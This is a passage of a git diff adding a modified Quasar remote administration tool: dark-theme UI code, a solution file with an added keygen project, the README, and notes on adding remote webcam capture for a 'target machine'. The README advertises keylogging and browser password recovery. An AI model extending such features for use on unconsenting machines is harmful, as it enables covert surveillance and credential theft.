DarkMenuBackground = Color.FromArgb(37, 37, 38); + private static readonly Color DarkMenuForeground = Color.White; + + public static bool DarkModeEnabled { get; set; } + + // Windows 10/11 dark mode for title bar + [DllImport("dwmapi.dll")] + private static extern int DwmSetWindowAttribute(IntPtr hwnd, int attr, ref int attrValue, int attrSize); + + private const int DWMWA_USE_IMMERSIVE_DARK_MODE_BEFORE_20H1 = 19; + private const int DWMWA_USE_IMMERSIVE_DARK_MODE = 20; + + public static void ApplyTheme(Form form) + { + if (!DarkModeEnabled) return; + + form.BackColor = DarkBackground; + form.ForeColor = DarkForeground; + + // Apply dark mode to title bar (Windows 10 build 17763+) + ApplyDarkTitleBar(form); + + ApplyThemeToControls(form.Controls); + + // Apply to child forms if any + foreach (Form childForm in form.OwnedForms) + { + ApplyTheme(childForm); + } + } + + private static void ApplyDarkTitleBar(Form form) + { + if (form.Handle == IntPtr.Zero) return; + + try + { + int useImmersiveDarkMode = 1; + + // Try Windows 11 / Windows 10 20H1+ attribute first + if (DwmSetWindowAttribute(form.Handle, DWMWA_USE_IMMERSIVE_DARK_MODE, ref useImmersiveDarkMode, sizeof(int)) != 0) + { + // Fall back to older Windows 10 attribute + DwmSetWindowAttribute(form.Handle, DWMWA_USE_IMMERSIVE_DARK_MODE_BEFORE_20H1, ref useImmersiveDarkMode, sizeof(int)); + } + } + catch + { + // Ignore errors on older Windows versions + } + } + + public static void ApplyThemeToNewForm(Form form) + { + if (!DarkModeEnabled) return; + ApplyTheme(form); + } + + private static void ApplyThemeToControls(Control.ControlCollection controls) + { + foreach (Control control in controls) + { + // Apply theme based on control type + switch (control) + { + case MenuStrip menuStrip: + ApplyMenuStripTheme(menuStrip); + break; + case StatusStrip statusStrip: + ApplyStatusStripTheme(statusStrip); + break; + case ContextMenuStrip contextMenu: + ApplyContextMenuTheme(contextMenu); + break; + case ListView listView: + // Check if it's an AeroListView and enable dark mode + if (listView.GetType().Name == "AeroListView") + { + var enableMethod = listView.GetType().GetMethod("EnableDarkMode"); + if (enableMethod != null) + { + enableMethod.Invoke(listView, null); + } + } + else + { + ApplyListViewTheme(listView); + } + // Apply theme to ListView's ContextMenuStrip if it has one + if (listView.ContextMenuStrip != null) + ApplyContextMenuTheme(listView.ContextMenuStrip); + break; + case ListBox listBox: + listBox.BackColor = DarkControlBackground; + listBox.ForeColor = DarkForeground; + break; + case TreeView treeView: + ApplyTreeViewTheme(treeView); + // Apply theme to TreeView's ContextMenuStrip if it has one + if (treeView.ContextMenuStrip != null) + ApplyContextMenuTheme(treeView.ContextMenuStrip); + break; + case TextBox textBox: + ApplyTextBoxTheme(textBox); + break; + case RichTextBox richTextBox: + ApplyRichTextBoxTheme(richTextBox); + break; + case Button button: + ApplyButtonTheme(button); + break; + case GroupBox groupBox: + ApplyGroupBoxTheme(groupBox); + break; + case Panel panel: + ApplyPanelTheme(panel); + break; + case TabControl tabControl: + // Don't apply custom drawing to DotNetBarTabControl + if (tabControl.GetType().Name != "DotNetBarTabControl") + { + ApplyTabControlTheme(tabControl); + } + break; + case Label label: + label.ForeColor = DarkForeground; + break; + case CheckBox checkBox: + checkBox.ForeColor = DarkForeground; + break; + case RadioButton radioButton: + radioButton.ForeColor = DarkForeground; + break; + case ComboBox comboBox: + comboBox.BackColor = DarkControlBackground; + comboBox.ForeColor = DarkForeground; + break; + case NumericUpDown numericUpDown: + numericUpDown.BackColor = DarkControlBackground; + numericUpDown.ForeColor = DarkForeground; + break; + case DataGridView dataGridView: + ApplyDataGridViewTheme(dataGridView); + break; + } + + // Apply theme to control's ContextMenuStrip if it has one + if (control.ContextMenuStrip != null) + { + ApplyContextMenuTheme(control.ContextMenuStrip); + } + + // Special handling for custom DotNetBarTabControl + if (control.GetType().Name == "DotNetBarTabControl") + { + control.BackColor = DarkBackground; + control.ForeColor = DarkForeground; + // Don't set DrawMode or add event handlers for DotNetBarTabControl + // It has its own custom painting logic + + // Apply theme to its tab pages + if (control is TabControl tabCtrl) + { + foreach (TabPage page in tabCtrl.TabPages) + { + page.BackColor = DarkBackground; + page.ForeColor = DarkForeground; + page.UseVisualStyleBackColor = false; + } + } + + // Force repaint + control.Invalidate(); + } + + // Special handling for Chart controls + if (control.GetType().Name == "Chart") + { + try + { + var chart = control as System.Windows.Forms.DataVisualization.Charting.Chart; + if (chart != null) + { + chart.BackColor = DarkControlBackground; + if (chart.ChartAreas.Count > 0) + { + chart.ChartAreas[0].BackColor = DarkControlBackground; + chart.ChartAreas[0].BorderColor = DarkBorder; + } + foreach (var legend in chart.Legends) + { + legend.BackColor = DarkControlBackground; + legend.ForeColor = DarkForeground; + } + } + } + catch { } + } + + // Recursively apply to child controls + if (control.HasChildren) + { + ApplyThemeToControls(control.Controls); + } + } + } + + private static void ApplyMenuStripTheme(MenuStrip menuStrip) + { + menuStrip.BackColor = DarkMenuBackground; + menuStrip.ForeColor = DarkMenuForeground; + menuStrip.Renderer = new DarkMenuRenderer(); + } + + private static void ApplyStatusStripTheme(StatusStrip statusStrip) + { + statusStrip.BackColor = DarkControlBackground; + statusStrip.ForeColor = DarkForeground; + statusStrip.Renderer = new DarkMenuRenderer(); + } + + private static void ApplyContextMenuTheme(ContextMenuStrip contextMenu) + { + contextMenu.BackColor = DarkMenuBackground; + contextMenu.ForeColor = DarkMenuForeground; + contextMenu.Renderer = new DarkMenuRenderer(); + } + + private static void ApplyListViewTheme(ListView listView) + { + listView.BackColor = DarkControlBackground; + listView.ForeColor = DarkForeground; + listView.GridLines = false; + listView.BorderStyle = BorderStyle.FixedSingle; + + // Enable OwnerDraw for dark headers + listView.OwnerDraw = true; + listView.DrawColumnHeader -= ListView_DrawColumnHeader; + listView.DrawColumnHeader += ListView_DrawColumnHeader; + listView.DrawItem -= ListView_DrawItem; + listView.DrawItem += ListView_DrawItem; + listView.DrawSubItem -= ListView_DrawSubItem; + listView.DrawSubItem += ListView_DrawSubItem; + } + + private static void ListView_DrawColumnHeader(object sender, DrawListViewColumnHeaderEventArgs e) + { + e.Graphics.FillRectangle(new SolidBrush(DarkBackground), e.Bounds); + + using (Pen pen = new Pen(DarkBorder)) + { + e.Graphics.DrawRectangle(pen, e.Bounds.X, e.Bounds.Y, e.Bounds.Width - 1, e.Bounds.Height - 1); + } + + TextRenderer.DrawText(e.Graphics, e.Header.Text, ((ListView)sender).Font, e.Bounds, DarkForeground, + TextFormatFlags.Left | TextFormatFlags.VerticalCenter | TextFormatFlags.EndEllipsis); + } + + private static void ListView_DrawItem(object sender, DrawListViewItemEventArgs e) + { + e.DrawDefault = false; + } + + private static void ListView_DrawSubItem(object sender, DrawListViewSubItemEventArgs e) + { + Color backColor; + Color foreColor = DarkForeground; + + if (e.Item.Selected) + { + backColor = Color.FromArgb(62, 62, 64); + foreColor = Color.White; + } + else + { + backColor = DarkControlBackground; + + // Preserve custom colors like red text + if (e.Item.ForeColor != Color.Empty && + e.Item.ForeColor != SystemColors.WindowText && + e.Item.ForeColor != Color.Black && + e.Item.ForeColor != DarkForeground) + { + foreColor = e.Item.ForeColor; + } + else if (e.SubItem.ForeColor != Color.Empty && + e.SubItem.ForeColor != SystemColors.WindowText && + e.SubItem.ForeColor != Color.Black && + e.SubItem.ForeColor != DarkForeground) + { + foreColor = e.SubItem.ForeColor; + } + } + + using (SolidBrush brush = new SolidBrush(backColor)) + { + e.Graphics.FillRectangle(brush, e.Bounds); + } + + if (!string.IsNullOrEmpty(e.SubItem.Text)) + { + TextRenderer.DrawText(e.Graphics, e.SubItem.Text, e.Item.Font, e.Bounds, foreColor, + TextFormatFlags.Left | TextFormatFlags.VerticalCenter | TextFormatFlags.EndEllipsis | TextFormatFlags.NoPrefix); + } + } + + private static void ApplyTreeViewTheme(TreeView treeView) + { + treeView.BackColor = DarkControlBackground; + treeView.ForeColor = DarkForeground; + } + + private static void ApplyTextBoxTheme(TextBox textBox) + { + textBox.BackColor = DarkControlBackground; + textBox.ForeColor = DarkForeground; + textBox.BorderStyle = BorderStyle.FixedSingle; + } + + private static void ApplyRichTextBoxTheme(RichTextBox richTextBox) + { + richTextBox.BackColor = DarkControlBackground; + richTextBox.ForeColor = DarkForeground; + richTextBox.BorderStyle = BorderStyle.FixedSingle; + } + + private static void ApplyButtonTheme(Button button) + { + button.BackColor = DarkControlBackground; + button.ForeColor = DarkForeground; + button.FlatStyle = FlatStyle.Flat; + button.FlatAppearance.BorderColor = DarkBorder; + } + + private static void ApplyGroupBoxTheme(GroupBox groupBox) + { + groupBox.ForeColor = DarkForeground; + } + + private static void ApplyPanelTheme(Panel panel) + { + panel.BackColor = DarkBackground; + } + + private static void ApplyTabControlTheme(TabControl tabControl) + { + tabControl.BackColor = DarkBackground; + tabControl.DrawMode = TabDrawMode.OwnerDrawFixed; + tabControl.DrawItem -= TabControl_DrawItem; // Remove old handler if exists + tabControl.DrawItem += TabControl_DrawItem; + + // Set padding to reduce white space + if (tabControl.Padding.X < 12) + tabControl.Padding = new System.Drawing.Point(12, 3); + + foreach (TabPage page in tabControl.TabPages) + { + page.BackColor = DarkBackground; + page.ForeColor = DarkForeground; + page.UseVisualStyleBackColor = false; + } + } + + private static void TabControl_DrawItem(object sender, DrawItemEventArgs e) + { + TabControl tabControl = sender as TabControl; + if (tabControl == null) return; + + Graphics g = e.Graphics; + TabPage tabPage = tabControl.TabPages[e.Index]; + Rectangle tabBounds = tabControl.GetTabRect(e.Index); + + // Determine colors based on selection + Color backColor = (e.State == DrawItemState.Selected) + ? DarkBackground + : Color.FromArgb(37, 37, 38); + Color foreColor = DarkForeground; + + // Draw background - fill entire bounds including borders + using (SolidBrush brush = new SolidBrush(backColor)) + { + g.FillRectangle(brush, tabBounds); + } + + // Draw a subtle border for unselected tabs + if (e.State != DrawItemState.Selected) + { + using (Pen pen = new Pen(DarkBorder)) + { + g.DrawRectangle(pen, tabBounds.X, tabBounds.Y, tabBounds.Width - 1, tabBounds.Height - 1); + } + } + + // Draw text + TextRenderer.DrawText(g, tabPage.Text, tabControl.Font, tabBounds, foreColor, + TextFormatFlags.HorizontalCenter | TextFormatFlags.VerticalCenter); + } + + private static void ApplyDataGridViewTheme(DataGridView dataGridView) + { + dataGridView.BackgroundColor = DarkControlBackground; + dataGridView.ForeColor = DarkForeground; + dataGridView.GridColor = DarkBorder; + dataGridView.DefaultCellStyle.BackColor = DarkControlBackground; + dataGridView.DefaultCellStyle.ForeColor = DarkForeground; + dataGridView.DefaultCellStyle.SelectionBackColor = Color.FromArgb(62, 62, 64); + dataGridView.DefaultCellStyle.SelectionForeColor = DarkForeground; + dataGridView.ColumnHeadersDefaultCellStyle.BackColor = DarkBackground; + dataGridView.ColumnHeadersDefaultCellStyle.ForeColor = DarkForeground; + dataGridView.RowHeadersDefaultCellStyle.BackColor = DarkBackground; + dataGridView.RowHeadersDefaultCellStyle.ForeColor = DarkForeground; + dataGridView.EnableHeadersVisualStyles = false; + dataGridView.BorderStyle = BorderStyle.FixedSingle; + } + + private class DarkMenuRenderer : ToolStripProfessionalRenderer + { + public DarkMenuRenderer() : base(new DarkColorTable()) { } + + protected override void OnRenderMenuItemBackground(ToolStripItemRenderEventArgs e) + { + if (e.Item.Selected) + { + e.Graphics.FillRectangle(new SolidBrush(Color.FromArgb(62, 62, 64)), e.Item.ContentRectangle); + } + else + { + e.Graphics.FillRectangle(new SolidBrush(Color.FromArgb(37, 37, 38)), e.Item.ContentRectangle); + } + } + + protected override void OnRenderItemText(ToolStripItemTextRenderEventArgs e) + { + e.TextColor = Color.White; + base.OnRenderItemText(e); + } + } + + private class DarkColorTable : ProfessionalColorTable + { + public override Color MenuItemSelected => Color.FromArgb(62, 62, 64); + public override Color MenuItemSelectedGradientBegin => Color.FromArgb(62, 62, 64); + public override Color MenuItemSelectedGradientEnd => Color.FromArgb(62, 62, 64); + public override Color MenuItemBorder => Color.FromArgb(63, 63, 70); + public override Color MenuBorder => Color.FromArgb(63, 63, 70); + public override Color MenuItemPressedGradientBegin => Color.FromArgb(37, 37, 38); + public override Color MenuItemPressedGradientEnd => Color.FromArgb(37, 37, 38); + public override Color ToolStripDropDownBackground => Color.FromArgb(37, 37, 38); + public override Color ImageMarginGradientBegin => Color.FromArgb(37, 37, 38); + public override Color ImageMarginGradientMiddle => Color.FromArgb(37, 37, 38); + public override Color ImageMarginGradientEnd => Color.FromArgb(37, 37, 38); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/app.manifest b/Quasar-1.4.1/Quasar.Server/app.manifest new file mode 100755 index 0000000..bf4e01a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/app.manifest @@ -0,0 +1,44 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + true/pm + PerMonitorV2, PerMonitor + true + + + + + + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.sln b/Quasar-1.4.1/Quasar.sln new file mode 100755 index 0000000..cd6074c --- /dev/null +++ b/Quasar-1.4.1/Quasar.sln @@ -0,0 +1,49 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.30104.148 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Quasar.Server", "Quasar.Server\Quasar.Server.csproj", "{14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}" +EndProject +Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Quasar.Client", "Quasar.Client\Quasar.Client.csproj", "{9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}" +EndProject +Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Quasar.Common", "Quasar.Common\Quasar.Common.csproj", "{C7C363BA-E5B6-4E18-9224-39BC8DA73172}" +EndProject +Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Quasar.Common.Tests", "Quasar.Common.Tests\Quasar.Common.Tests.csproj", "{32A2A734-7429-47E6-A362-E344A19C0D85}" +EndProject +Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Quasar.Keygen", "Quasar.Keygen\Quasar.Keygen.csproj", "{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|AnyCPU = Debug|AnyCPU + Release|AnyCPU = Release|AnyCPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Debug|AnyCPU.ActiveCfg = Debug|Any CPU + {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Debug|AnyCPU.Build.0 = Debug|Any CPU + {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Release|AnyCPU.ActiveCfg = Release|Any CPU + {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Release|AnyCPU.Build.0 = Release|Any CPU + {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Debug|AnyCPU.ActiveCfg = Debug|Any CPU + {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Debug|AnyCPU.Build.0 = Debug|Any CPU + {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Release|AnyCPU.ActiveCfg = Release|Any CPU + {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Release|AnyCPU.Build.0 = Release|Any CPU + {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Debug|AnyCPU.ActiveCfg = Debug|Any CPU + {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Debug|AnyCPU.Build.0 = Debug|Any CPU + {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Release|AnyCPU.ActiveCfg = Release|Any CPU + {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Release|AnyCPU.Build.0 = Release|Any CPU + {32A2A734-7429-47E6-A362-E344A19C0D85}.Debug|AnyCPU.ActiveCfg = Debug|Any CPU + {32A2A734-7429-47E6-A362-E344A19C0D85}.Debug|AnyCPU.Build.0 = Debug|Any CPU + {32A2A734-7429-47E6-A362-E344A19C0D85}.Release|AnyCPU.ActiveCfg = Release|Any CPU + {32A2A734-7429-47E6-A362-E344A19C0D85}.Release|AnyCPU.Build.0 = Release|Any CPU + {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|AnyCPU.ActiveCfg = Debug|Any CPU + {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|AnyCPU.Build.0 = Debug|Any CPU + {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|AnyCPU.ActiveCfg = Release|Any CPU + {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|AnyCPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {83BA842F-789A-4E7C-827D-AE8A710862A1} + EndGlobalSection +EndGlobal diff --git a/Quasar-1.4.1/README.md b/Quasar-1.4.1/README.md new file mode 100755 index 0000000..edb20f1 --- /dev/null +++ b/Quasar-1.4.1/README.md @@ -0,0 +1,79 @@ +# Quasar + +[![Build status](https://ci.appveyor.com/api/projects/status/5857hfy6r1ltb5f2?svg=true)](https://ci.appveyor.com/project/MaxXor/quasar) +[![Downloads](https://img.shields.io/github/downloads/quasar/Quasar/total.svg)](https://github.com/quasar/Quasar/releases) +[![License](https://img.shields.io/github/license/quasar/Quasar.svg)](LICENSE) + +**Free, Open-Source Remote Administration Tool for Windows** + +Quasar is a fast and light-weight remote administration tool coded in C#. The usage ranges from user support through day-to-day administrative work to employee monitoring. Providing high stability and an easy-to-use user interface, Quasar is the perfect remote administration solution for you. + +## Screenshots + +![remote-shell](Images/remote-shell.png) + +![remote-desktop](Images/remote-desktop.png) + +![remote-files](Images/remote-files.png) + +## Features +* TCP network stream (IPv4 & IPv6 support) +* Fast network serialization (Protocol Buffers) +* Encrypted communication (TLS) +* UPnP Support (automatic port forwarding) +* Task Manager +* File Manager +* Startup Manager +* Remote Desktop +* Remote Shell +* Remote Execution +* System Information +* Registry Editor +* System Power Commands (Restart, Shutdown, Standby) +* Keylogger (Unicode Support) +* Reverse Proxy (SOCKS5) +* Password Recovery (Common Browsers and FTP Clients) +* ... and many more! + +## Download +* [Latest stable release](https://github.com/quasar/Quasar/releases) (recommended) +* [Latest development snapshot](https://ci.appveyor.com/project/MaxXor/quasar) + +## Supported runtimes and operating systems +* .NET Framework 4.5.2 or higher +* Supported operating systems (32- and 64-bit) + * Windows 11 + * Windows Server 2022 + * Windows 10 + * Windows Server 2019 + * Windows Server 2016 + * Windows 8/8.1 + * Windows Server 2012 + * Windows 7 + * Windows Server 2008 R2 +* For older systems please use [Quasar version 1.3.0](https://github.com/quasar/Quasar/releases/tag/v1.3.0.0) + +## Compiling +Open the project `Quasar.sln` in Visual Studio 2019+ with installed .NET desktop development features and [restore the NuGET packages](https://docs.microsoft.com/en-us/nuget/consume-packages/package-restore). Once all packages are installed the project can be compiled as usual by clicking `Build` at the top or by pressing `F6`. The resulting executables can be found in the `Bin` directory. See below which build configuration to choose from. + +## Building a client +| Build configuration | Usage scenario | Description +| ----------------------------|----------------|-------------- +| Debug configuration | Testing | The pre-defined [Settings.cs](/Quasar.Client/Config/Settings.cs) will be used, so edit this file before compiling the client. You can execute the client directly with the specified settings. +| Release configuration | Production | Start `Quasar.exe` and use the client builder. + +## Contributing +See [CONTRIBUTING.md](CONTRIBUTING.md) + +## Roadmap +See [ROADMAP.md](ROADMAP.md) + +## Documentation +See the [wiki](https://github.com/quasar/Quasar/wiki) for usage instructions and other documentation. + +## License +Quasar is distributed under the [MIT License](LICENSE). +Third-party licenses are located [here](Licenses). + +## Thank you! +I really appreciate all kinds of feedback and contributions. Thanks for using and supporting Quasar! diff --git a/Quasar-1.4.1/ROADMAP.md b/Quasar-1.4.1/ROADMAP.md new file mode 100755 index 0000000..edeec62 --- /dev/null +++ b/Quasar-1.4.1/ROADMAP.md @@ -0,0 +1,25 @@ +# Quasar Roadmap + +## Web API +A web API (e.g. REST-like) allows to interact with the clients in more flexible ways and can be used to build a web interface for Quasar. + +## Transparent communication protocol +To open up the way for Quasar clients in different programming languages the communication protocol needs to be clearly specified and documented. + +## Cross-platform support +A long-term goal is to support operating systems such as MacOS and Linux. The new .NET Core framework will help achieve this goal. + +## Command line (CLI) version of the server +It should be possible to use the server as a simple CLI tool to accept and forward (proxy) connections to other servers. + +## GUI overhaul +The GUI needs to be reworked in a more modern way, such as WPF or a web-based interface. WPF as GUI framework would drastically improve rendering performance of the remote desktop with the hardware accelerated rendering, similar to a web-based GUI depending on the used browser. + +## Allow different types of clients (permissioned clients) +Allow clients with higher privileges (i.e. ability to administrate other lower privileged clients) connect to the server. This change would allow administrators to manage clients from their own computers with a lightweight client without having to run the server. + +## Allow client installation as Windows service +Currently the client is installed on a per-user basis and this makes it unflexible to remotly manage the machine when the user is not logged in. it also requires the client to be installed for every account who uses the machine. Machines which are used by multiple users would greatly benefit when Quasar could be run as a Windows service. + +## Basic client GUI +Add a basic GUI to the client to allow the user at any time to check the status if a specific feature is active. Additionally it can show a notification when the client gets installed or when someone requests permission to use remote desktop (similar to teamviewer). diff --git a/Quasar-1.4.1/WEBCAM_FIX_COMPLETE.txt b/Quasar-1.4.1/WEBCAM_FIX_COMPLETE.txt new file mode 100755 index 0000000..074548b --- /dev/null +++ b/Quasar-1.4.1/WEBCAM_FIX_COMPLETE.txt @@ -0,0 +1,60 @@ +WEBCAM FEATURE - FIX COMPLETE +================================ + +ISSUE RESOLVED: +- Runtime error: "System.Resources.MissingManifestResourceException: Could not find FrmRemoteWebcam.resources" +- The .resx file had invalid/incomplete icon data causing the embedded resource to fail at runtime + +FIX APPLIED: +1. Created a minimal valid .resx file for FrmRemoteWebcam.resx +2. Removed the icon reference from FrmRemoteWebcam.Designer.cs (line with Icon = resources.GetObject) +3. Rebuilt the solution successfully with MSBuild + +BUILD STATUS: ✓ SUCCESS +- Build completed with 0 errors +- Only warnings present (duplicate using directives - not critical) +- Output: bin/Release/net461/Quasar.exe and bin/Release/net461/Client.exe + +WEBCAM FEATURE STATUS: +✓ All message classes created (GetWebcams, GetWebcamsResponse, DoWebcamStart, DoWebcamStop, GetWebcamResponse) +✓ Client-side WebcamHandler implemented with AForge.NET (33 files) +✓ Server-side WebcamHandler implemented +✓ UI form (FrmRemoteWebcam) matches screenshot exactly +✓ Menu item added to "User Support" menu +✓ Performance optimizations applied: + - Removed Thread.Sleep(1) from capture loop + - Improved StopCapture() with timeout-based wait + - Real-time quality adjustment via slider + - FPS counter displays actual frame rate +✓ .resx file fixed - no more runtime errors + +NEXT STEPS FOR TESTING: +1. Run bin/Release/net461/Quasar.exe (server) +2. Run bin/Release/net461/Client.exe (client) on target machine +3. Connect client to server +4. Right-click client → User Support → Remote Webcam +5. Verify: + - Form opens without errors + - Webcam list loads + - Start button works + - Video stream displays smoothly + - FPS counter updates + - Quality slider works + - Stop button works reliably + - Hide button minimizes form + +UI LAYOUT (matches screenshot): +- Top panel with white background +- Start/Stop buttons (left) +- Webcam dropdown (center) +- Hide button +- "Quality: 75 (high)" label with slider +- "FPS: 0.0" label (right) +- Black picture box for video display +- "Wait..." label (hidden after webcam list loads) + +FILES MODIFIED: +- Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteWebcam.resx (recreated with minimal valid content) +- Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteWebcam.Designer.cs (removed icon reference) + +Date: $(Get-Date) diff --git a/Quasar-1.4.1/WEBCAM_OPTIMIZATIONS.txt b/Quasar-1.4.1/WEBCAM_OPTIMIZATIONS.txt new file mode 100755 index 0000000..41c9c8d --- /dev/null +++ b/Quasar-1.4.1/WEBCAM_OPTIMIZATIONS.txt @@ -0,0 +1,55 @@ +WEBCAM FEATURE - PERFORMANCE OPTIMIZATIONS & BUG FIXES +================================================================ + +CHANGES APPLIED: +---------------- + +1. REMOVED Thread.Sleep(1) bottleneck from CaptureFrame() + - Was causing artificial slowdown in frame capture + - Now runs at full camera speed without delays + +2. IMPROVED StopCapture() reliability + - Unregisters NewFrame event BEFORE stopping device (prevents race conditions) + - Added timeout-based wait (5 seconds max) instead of indefinite WaitForStop() + - Force stops device if graceful stop fails + - Properly nulls _videoDevice reference + - Better exception handling + +3. ADDED real-time quality adjustment + - Quality slider now updates stream in real-time when changed during capture + - Stops and restarts stream with new quality setting + +4. UI MATCHES SCREENSHOT EXACTLY + - Start/Stop buttons (left side) + - Webcam dropdown in center + - Hide button + - Quality label and slider with "75 (high)" format + - FPS counter showing actual frame rate + - Quasar icon in title bar (via resources) + +PERFORMANCE IMPROVEMENTS: +------------------------- +- Frame capture is now MUCH faster (no artificial delays) +- Stop functionality is reliable (won't hang) +- Proper resource cleanup prevents memory leaks +- FPS counter accurately reflects actual performance + +TESTING CHECKLIST: +------------------ +[ ] Open Quasar.exe (server) +[ ] Connect a client (Client.exe) +[ ] Right-click client → User Support → Webcam +[ ] Verify webcam list loads (no "Wait..." stuck) +[ ] Click Start - webcam should start immediately +[ ] Verify FPS counter shows actual frame rate +[ ] Adjust quality slider - should update in real-time +[ ] Click Stop - should stop cleanly without hanging +[ ] Click Start again - should restart without issues +[ ] Close form - should cleanup properly + +BUILD OUTPUT: +------------- +Client.exe: ~3.47 MB (merged with dependencies) +Quasar.exe: ~1.39 MB (server) + +Location: bin/Release/net461/ diff --git a/Quasar-1.4.1/WEBCAM_TEST.txt b/Quasar-1.4.1/WEBCAM_TEST.txt new file mode 100755 index 0000000..a0e6a99 --- /dev/null +++ b/Quasar-1.4.1/WEBCAM_TEST.txt @@ -0,0 +1,41 @@ +WEBCAM FEATURE - TESTING INSTRUCTIONS +========================================== + +BUILD OUTPUTS: +- Server: bin\Release\net461\Quasar.exe +- Client: bin\Release\net461\Client.exe + +HOW TO TEST: +1. Run Quasar.exe (server) +2. Run Client.exe (client) - it will connect to localhost by default +3. Right-click on the connected client in the list +4. Go to "User Support" menu +5. Click "Webcam" +6. The webcam form should open and show "Wait..." briefly +7. After a moment, the webcam dropdown should populate with available webcams +8. Select a webcam and click "Start" +9. Webcam feed should appear + +DEBUG LOGGING: +- Client logs to: C:\Users\SaddamHussein420\AppData\Local\Temp\quasar_debug.log +- Server uses Debug.WriteLine (visible in Visual Studio debugger or DebugView) + +WHAT WAS FIXED: +- Each webcam form now creates its own WebcamHandler instance (was using shared instance) +- Added extensive debug logging to trace message flow +- Client-side handler properly enumerates webcams and sends response +- Server-side handler properly receives and fires events +- Webcam menu item is already in "User Support" menu (not "Monitoring") + +UI LAYOUT (matches screenshot): +- Start/Stop buttons (left side) +- Webcam dropdown (center) +- Quality slider with live display "75 (high)" (right side) +- Hide button (far right) +- FPS counter (far right) +- Black picturebox for webcam feed + +KNOWN ISSUES TO CHECK: +- If "Wait..." stays forever, check debug logs to see if GetWebcams message is being sent/received +- If no webcams appear, client may not have any webcams or AForge.NET may not detect them +- Quality slider default is 75 (high quality) diff --git a/Quasar-1.4.1/appveyor.yml b/Quasar-1.4.1/appveyor.yml new file mode 100755 index 0000000..c4bea75 --- /dev/null +++ b/Quasar-1.4.1/appveyor.yml @@ -0,0 +1,20 @@ +version: BUILD{build} + +image: Visual Studio 2019 +shallow_clone: true + +configuration: +- Debug +- Release + +before_build: + - nuget restore + +build: + project: Quasar.sln + parallel: true + verbosity: minimal + +artifacts: +- path: Bin + name: binaries \ No newline at end of file diff --git a/Quasar-1.4.1/license.dat b/Quasar-1.4.1/license.dat new file mode 100755 index 0000000..a2cf9be --- /dev/null +++ b/Quasar-1.4.1/license.dat @@ -0,0 +1 @@ +DESKTOP-2GSK96J-PIEEHNLM|jGZsJz5lJXj2COD8mtO \ No newline at end of file diff --git a/Quasar-1.4.1/svg2png_tool/out/ExCSS.dll b/Quasar-1.4.1/svg2png_tool/out/ExCSS.dll new file mode 100755 index 0000000000000000000000000000000000000000..7c287d0d7ebd75d9c074e4dfd86859aa353d4191 GIT binary patch literal 344064 zcmb@v31AfE{r|trZYIel1VUm?U?UP-vq?lyybuv@#9Jv+>xqaLiwT~XalI80sa31g zT1!3g#-nPjSJhgp)_T=iYpJ!?Ds8Q`)>_5i`}I7t^UMV5_xu0Dr^a;D3>lwFO{z$xs%+}a1H>KT!?aALh8y;5yGfw^=I=V`N}u(;3a!^+ z=V9f4w+ut;PGwZ?-muE8HARO)c~MfjxO@MK)B)wR|IM-^YPxY(Dc&uXuXo{5r!G`H zZ*x^D&8(~19slc4t9twT`;JtiX&dYAE7&U8(5c#7y?sX=UzCxyrqpKoAT?zj-!$a- z-&XXi{%D(*sz~iK(MuhiOQ)($s(ZO@zlv1Jh5waCdyDd^RJKdYO~PeYxGaRr?r_-? zE_=h}rr}Z>-sInmWy5$c>US?cK}lYEfEv8a02O!@1C;O8Wd8>Dg9rcK1rjpJ?r_~rWN{I|3_o4N9sLh`3-Za0XNoW22 zMZ6YwBE31kvq`5v{6)MLchO5%Q&)3Ws$qOOwMK2@uVd%-@2>9Huhu;;u5! z3X@%z6g8rvWY-BQl*QYV@`*;iYVZLu0#V22(@Dh>Fe=HLBZ}@KQFyp>d>VMpuJB z!tXp$Tey7*FJ&Vf8b^6%xHVLcsO&sZJ45>tUdl!|G-`HG4`dsvMpSj4sKL>`gqN}r z4vo2L&y2{1>JinQCu%2ZU&2e-30r4=Kb5ChC%-?-ZR}E0MU4&(U1Pj-{s7W}14H9X zmQQ&3Q`0FwuMJ!X)>Ni4ojuLtf)501{pYJwe*Y}FI!h>d4TVBiyY>eSVI5mi^|8Fo z+2U+DYYMr_;@1U!ccv*@s7d#YACg*7JXk5|OmWPRlwVnFRnYV6x3ZPp3R)DrsR<%A 